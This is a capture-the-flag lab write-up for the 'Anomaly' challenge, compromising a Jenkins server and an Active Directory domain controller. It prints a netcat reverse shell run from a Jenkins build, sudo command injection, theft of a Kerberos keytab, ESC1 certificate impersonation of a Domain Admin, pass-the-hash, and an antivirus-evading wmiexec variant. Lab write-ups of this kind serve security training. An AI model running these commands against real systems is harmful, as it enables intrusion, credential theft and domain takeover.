Anomaly

Challenge Lab (Medium) - by Ryan Yager

The following post by 0xb0b is licensed under CC BY 4.0


Scenario

Objective and Scope

Objective

The core objective of the Anomaly Penetration Test is to demonstrate the full impact of a successful network intrusion by achieving Domain Administrator privileges over the client's Active Directory environment. The test will simulate a motivated external attacker's progression from an initial foothold to complete administrative control.

Scope

The in-scope assets for this engagement include two critical IP addresses:

  1. A hardened Ubuntu Server (Initial Foothold Target).

  2. The primary Domain Controller (Final Privilege Escalation Target).

It is a critical finding that the Domain Controller is running active Antivirus (AV) software; therefore, this test will specifically involve techniques to bypass or evade the installed AV to successfully compromise the domain and demonstrate the potential for a full domain compromise.

Summary

Summary

In Anomaly we gain an initial foothold on the web server by abusing default credentials on a Jenkins instance to create and run a build to obtain a reverse shell. We escalate to root on the Linux host via a misconfigured sudo binary and recover a Kerberos keytab. Using the keytab we obtain a TGT to access the Domain Controller. We enumerate the DC with LDAP, BloodHound and Certipy and discover a misconfigured CA template that permits certificate-based impersonation (ESC1). By creating a computer account and requesting a certificate we impersonate a Domain Admin, authenticate to the DC, and obtain an interactive Domain Admin shell, demonstrating AV-evasion during the final remote execution.

Recon

We start with a port scan on both available machines. We use Rustscan for this. The results gathered with rustscan are then passed to Nmap, running a service/version detection -sV, default scripts -sC.

WEB

On the web machine we have two open ports. Port 22 and port 8080.

rustscan -a 10.1.162.34 -- -sC -sV

Port 22 runs OpenSSH 9.6p1 Ubuntu, and on Port 8080 we have a Jetty 10.0.20 web server.

DC

We use rustscan -b 500 -a 10.1.132.173 -- -sT -sC -sV -Pn to enumerate all TCP ports on 10.1.132.173, piping the discovered results into Nmap which performs a TCP connect scan -sT, service and version detection -sV, runs default NSE scripts -sC, and treats the host as online without ICMP echo -Pn.

A batch size of 500 trades speed for stability, the default (1500) balances both, while 10000 maximizes speed but risks instability and missed results.

Our RustScan of 10.1.132.173 identifies a Windows domain controller named Anomaly-DC.anomaly.hsm in the anomaly.hsm domain, with a certificate authority anomaly-ANOMALY-DC-CA-2. Exposed services include DNS 53, HTTP 80 running Microsoft IIS 10.0, Kerberos 88 and 464, multiple MSRPC endpoints 135, 593, 49664+, SMB 139 and 445, LDAP and LDAPS and Global Catalog endpoints 389, 636, 3268, 3269 tied to Active Directory, RDP 3389, and .NET Remoting 9389. This indicates a fully integrated Windows AD environment where LDAP and LDAPS and Kerberos provide authentication, SMB and RPC enable remote management and inter-host communication, and RDP and HTTP serve as remote access points.

rustscan -b 500 -a 10.1.132.173 -- -sT -sC -sV -Pn

Excerpt of the service and default script scan on LDAP:

Excerpt of the service and default script scan on LDAP:

We add the following to our /etc/hosts file:

Anomaly-DC.anomaly.hsm
anomaly.hsm
anomaly-ANOMALY-DC-CA-2

Web Access

We start by enumerating and attacking the web machine. We visit the page on port 8080 and are redirected to a Jenkins login page.

Before we use Hydra to brute force credentials, we first try manually with default credentials. We are lucky and get access via admin:admin.

admin:admin

We are logged in as admin:

Shell as jenkins on WEB

Since we are admin, we can create a new build. We create a new build and use the execute shell option in Build Steps to execute shell commands to execute a reverse shell:

busybox nc 10.200.11.17 4445 -e bash

To catch the reverse shell we will use Penelope, a reverse shell handler which tries to auto upgrade the catched reverse shell, fixes TTY size and allows us to manage our sessions.

Then we run our previously created build and get a connection back to our Penelope listener. We are the user jenkins. But no flags yet.

penelope -p 4445

Shell as root on WEB

While enumerating, we look at what we are allowed to execute using sudo. In this case, /usr/bin/router_config as root without the need of a password.

sudo -l

It seems like a custom binary.

During testing, we see that a command injection is possible, passing commands as a parameter.

sudo /usr/bin/router_config id

To get an interactive shell we run the following:

sudo /usr/bin/router_config 'bash -i'

We have a root shell and are able to find the first flag at /root/user.txt.

Access as brandon_boyd on DC

The Linux machine appears to be domain joined. We have a krb5.conf and a krb5.keytab file in place.

ls -lah /etc/krb5.*

The krb5.conf file configures Kerberos authentication for the ANOMALY.HSM realm, specifying Anomaly-DC.anomaly.hsm as both the KDC and admin server. It also enables DNS-based discovery of realms and KDCs, mapping the domain anomaly.hsm and its subdomains to the same Kerberos realm.

krb5.conf
[libdefaults]

 default_realm = ANOMALY.HSM

 dns_lookup_realm = true

 dns_lookup_kdc = true



[realms]

 ANOMALY.HSM = {

  kdc = Anomaly-DC.anomaly.hsm

  admin_server = Anomaly-DC.anomaly.hsm

 }



[domain_realm]

 .anomaly.hsm = ANOMALY.HSM

 anomaly.hsm = ANOMALY.HSM

Besides the krb5.conf file we find a keytab file krb5.keytab.

A keytab is a file that stores one or more Kerberos principals and their encrypted secret keys so a service or script can authenticate to a Kerberos KDC non-interactively. Because it contains credentials, a keytab must be tightly protected restricted permissions and secure storage to prevent unauthorized access or impersonation. But fortunately, we are allowed to read them. Also as jenkins.

cat /etc/krb5.keytab

With the following command we are able to list the entries in /etc/krb5.keytab showing each principal, timestamp, and the stored keys in hexadecimal with their key versions. We are able to identifiy the principal BRANDON_BOYD.

klist -k -t -K /etc/krb5.keytab

The following article shows how to use Keytab files in a red team engagement including extracting the NTLM hash from a keytab file:

We download the keytab file using the Penelope session management for later use on our attacker machine:

F12 # to get into session management
download /etc/krb5.keytab

After downloading the keytab file we try to extract the NTLM hash using the tool suggested in the article mentioned before:

Unfortunately we are not able to extract the NTLM hash of BRANDON_BOYD. But since we are in possession of the keytab file we can use it to obtain a Kerberos ticket.

./KeyTabExtract/keytabextract.py krb5.keytab

If not already done, add the following entries to your /etc/hosts file:

Anomaly-DC.anomaly.hsm ANOMALY.HSM

A keytab holds the principal's secret keys so kinit can obtain a ticket-granting ticket non-interactively. We need to adapt the krb5.conf so our client knows which Kerberos realm, KDC and lookup rules to use.

We adapt our krb5.conf on our attacker machine to the one we found on the web machine. We make a backup of our existing one by duplicating it and append .bak to the duplicate.

With the krb5.conf set and the /etc/hosts modified we are now able to issue the following command to use the keytab krb5.keytab to perform a non-interactive kinit and obtain a Kerberos Ticket-Granting Ticket (TGT) for the principal Brandon_Boyd@ANOMALY.HSM.

kinit -kt krb5.keytab Brandon_Boyd@ANOMALY.HSM

Next, we verify that we a have a valid TGT for randon_Boyd@ANOMALY.HSM using klist. We see that cache file is stored at /tmp/krb5cc_0.

klist

We now set the KRB5CCNAME environment variable to /tmp/krb5cc_0, telling the current shell and any child processes to use that file as the Kerberos credential cache for Kerberos authentication.

export KRB5CCNAME=/tmp/krb5cc_0

Next, we will test whether we can authenticate as BRANDON_BOYD using the cache file via Netexec - and we are succsessful.

nxc ldap anomaly.hsm -u brandon_boyd -k --use-kcache

Access as anna_molly on DC

Now that we have a cache file which lets us authenticate via LDAP we try to enumerate the AD using bloodhound-ce. Unfortunately a password is still required.

bloodhound-ce.py --zip -c All -d anomaly.hsm -u brandon_boyd -k -dc Anomaly-DC.anomaly.hsm -ns 10.1.132.173

LDAP Enumeration

Since we cannot use bloodhound for the time being, we will attempt to enumerate LDAP. Since we have already been able to gain access to LDAP using NetExec, we will use NetExec for this purpose. Using --users, we enumerate the domain users. Fortunately, we find something in the comments that resembles a password.

nxc ldap anomaly.hsm -u brandon_boyd -k --use-kcache --users

BloodHound Enumeration

We try to use that password instead of the cache file for the BloodHound collector, and are successful.

bloodhound-ce.py --zip -c All -d anomaly.hsm -u brandon_boyd -p 'REDACTED' -dc Anomaly-DC.anomaly.hsm -ns 10.1.132.173

We ingest the data into Bloodhound, but cannot find a path to privilege escalation.

We mark the user BRANDON_BOYD as owned and inspect the memberships of the user. Nothing out of the ordinary here.

But we see that the user is member of the CERTIFICATE SERVICE DCOM ACCESS group which is a built-in Active Directory security group that controls who can remotely connect to and use the Microsoft Certificate Authority (CA) through DCOM (Distributed COM) - specifically the Certificate Services DCOM interface (the certsrv RPC/DCOM endpoint). We remember that a CA was also configured. So next, we check for misconfigured certificates.

We look for Domain Admins and spot the Administrator and ANNA_MOLLY users.

Certipy Enumeration

In addition to using BloodHound to enumerate objects and relationships within Active Directory, there are also tools specifically designed for enumerating certificate-related vulnerabilities. Notable examples include Certipy and SpecterOps' research, which help identify vulnerable certificate templates that can be exploited for privilege escalation.

We use the credentials of BRANDON_BOYD to enumerate misconfigured templates using certipy.

certipy find -u brandon_boyd@anomaly.hsm -p 'REDACTED' -dc-ip 10.1.132.173 -vulnerable

We receive a json output with the results. The certificate templates CertAdmin is misconfigured to allow Domain Computers to enroll and supply arbitrary subject names, enabling ESC1 attacks for impersonation via client authentication.

ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the -upn and -dns parameter, respectively.

Results of Certipy:

certipy.json
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "anomaly-ANOMALY-DC-CA-2",
      "DNS Name": "Anomaly-DC.anomaly.hsm",
      "Certificate Subject": "CN=anomaly-ANOMALY-DC-CA-2, DC=anomaly, DC=hsm",
      "Certificate Serial Number": "3F1A258E7CADC7AE4C54650883521D22",
      "Certificate Validity Start": "2025-09-21 21:25:39+00:00",
      "Certificate Validity End": "2124-09-21 21:35:38+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "ANOMALY.HSM\\Administrators",
        "Access Rights": {
          "2": [
            "ANOMALY.HSM\\Administrators",
            "ANOMALY.HSM\\Domain Admins",
            "ANOMALY.HSM\\Enterprise Admins"
          ],
          "1": [
            "ANOMALY.HSM\\Administrators",
            "ANOMALY.HSM\\Domain Admins",
            "ANOMALY.HSM\\Enterprise Admins"
          ],
          "512": [
            "ANOMALY.HSM\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "CertAdmin",
      "Display Name": "CertAdmin",
      "Certificate Authorities": [
        "anomaly-ANOMALY-DC-CA-2"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": true,
      "Certificate Name Flag": [
        "EnrolleeSuppliesSubject"
      ],
      "Enrollment Flag": [
        "PublishToDs",
        "IncludeSymmetricAlgorithms"
      ],
      "Private Key Flag": [
        "ExportableKey"
      ],
      "Extended Key Usage": [
        "Client Authentication",
        "Secure Email",
        "Encrypting File System"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "99 years",
      "Renewal Period": "650430 hours",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "ANOMALY.HSM\\Domain Admins",
            "ANOMALY.HSM\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "ANOMALY.HSM\\Administrator",
          "Full Control Principals": [
            "ANOMALY.HSM\\Domain Computers"
          ],
          "Write Owner Principals": [
            "ANOMALY.HSM\\Domain Admins",
            "ANOMALY.HSM\\Enterprise Admins",
            "ANOMALY.HSM\\Administrator",
            "ANOMALY.HSM\\Domain Computers"
          ],
          "Write Dacl Principals": [
            "ANOMALY.HSM\\Domain Admins",
            "ANOMALY.HSM\\Enterprise Admins",
            "ANOMALY.HSM\\Administrator",
            "ANOMALY.HSM\\Domain Computers"
          ],
          "Write Property Principals": [
            "ANOMALY.HSM\\Domain Admins",
            "ANOMALY.HSM\\Enterprise Admins",
            "ANOMALY.HSM\\Administrator",
            "ANOMALY.HSM\\Domain Computers"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC1": "'ANOMALY.HSM\\\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication",
        "ESC4": "'ANOMALY.HSM\\\\Domain Computers' has dangerous permissions"
      }
    }
  }
}#
CertAdmin
"ESC1": "'ANOMALY.HSM\\\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication"

Privilege Escalation ESC1

If not already done, add the following entries to your /etc/hosts file:

anomaly-ANOMALY-DC-CA-2

First we need a computer account. By default, any authenticated domain user can join up to 10 computers to a domain. Since we have the credentials of BRANDON_BOYD we give it a try. It can be done by different tools. We use certipy for this:

We follow the mentioned resource and try to add a new Computer Account called SomeName$, it fails due to a bad DNS name.

certipy account create -u brandon_boyd@anomaly.hsm -p 'REDACTED' -dc-ip 10.1.132.173 -user 'SomeName$' -pass 'SomePassword' -dns 'SomeDNS'

We adapt the DNS name to somename.anomaly.hsm and successfully added a new Computer Account.

certipy account create -u brandon_boyd@anomaly.hsm -p 'REDACTED' -dc-ip 10.1.132.173 -user 'SomeName$' -pass 'SomePassword' -dns 'somename.anomaly.hsm'

Now we are able to request a certificate as SomeName$@anomaly.hsm.

We requested a certificate for SomeName$@anomaly.hsm from CA anomaly-ANOMALY-DC-CA-2 using the vulnerable CertAdmin template, set the UPN to anna_molly@anomaly.hsm (a Domain Admin identified with BloodHound), and received the issued certificate as a .pfx.

certipy req -u 'SomeName$@anomaly.hsm' -p 'SomePassword' -dc-ip '10.1.132.173' -target 'ANOMALY.HSM' -ca 'anomaly-ANOMALY-DC-CA-2' -template 'CertAdmin' -upn anna_molly@anomaly.hsm -dns 10.1.132.173

Next, we try to authenticate as ANNA_MOLLY using the certificate. But it fails due to a SID mismatch. We need the SID for unique identification.

certipy auth -pfx anna_molly_10.pfx -dc-ip 10.1.132.173

We are able to retrieve the SID from our BloodHound data:

S-1-5-21-1496966362-3320961333-4044918980-1105

We rerun the certipy req command with the SID set. We receive a .pfx file.

certipy req -u 'SomeName$@anomaly.hsm' -p 'SomePassword' -dc-ip '10.1.132.173' -target 'ANOMALY.HSM' -ca 'anomaly-ANOMALY-DC-CA-2' -template 'CertAdmin' -upn anna_molly@anomaly.hsm -sid S-1-5-21-1496966362-3320961333-4044918980-1105 -dns 10.1.132.173

Now we successfully authenticated as ANNA_MOLLY and receive the NT hash.

certipy auth -pfx anna_molly_10.pfx -dc-ip 10.1.132.173

We test if we can authenticate with the hash using NetExec and we successfully authenticated.

nxc smb anomaly.hsm -u anna_molly -H REDACTED
nxc smb anomaly.hsm -u anna_molly -H REDACTED--shares

Shell as anna_molly on DC

We still need an interactive shell. Unfortunately, port 5389 is not open. Passing the hash via evil-winrm is not possible. We know from the scenario that AV is enabled. We can also see this when we try to establish a session using smbexec, psexec, or wmiexec and it fails.

After a brief search, we come across wmiexec2 by ice-wzl. This seems to be an obfusctedd version of wmiexec to evade signature-based AV detection.

We give it a try and get an interactive shell.

python3 wmiexec2.py ANOMALY.HSM/anna_molly@Anomaly-DC.anomaly.hsm -hashes :REDACTED -no-pass -debug

We find the final flag at C:\Users\Administrator\Desktop.

Last updated

Was this helpful?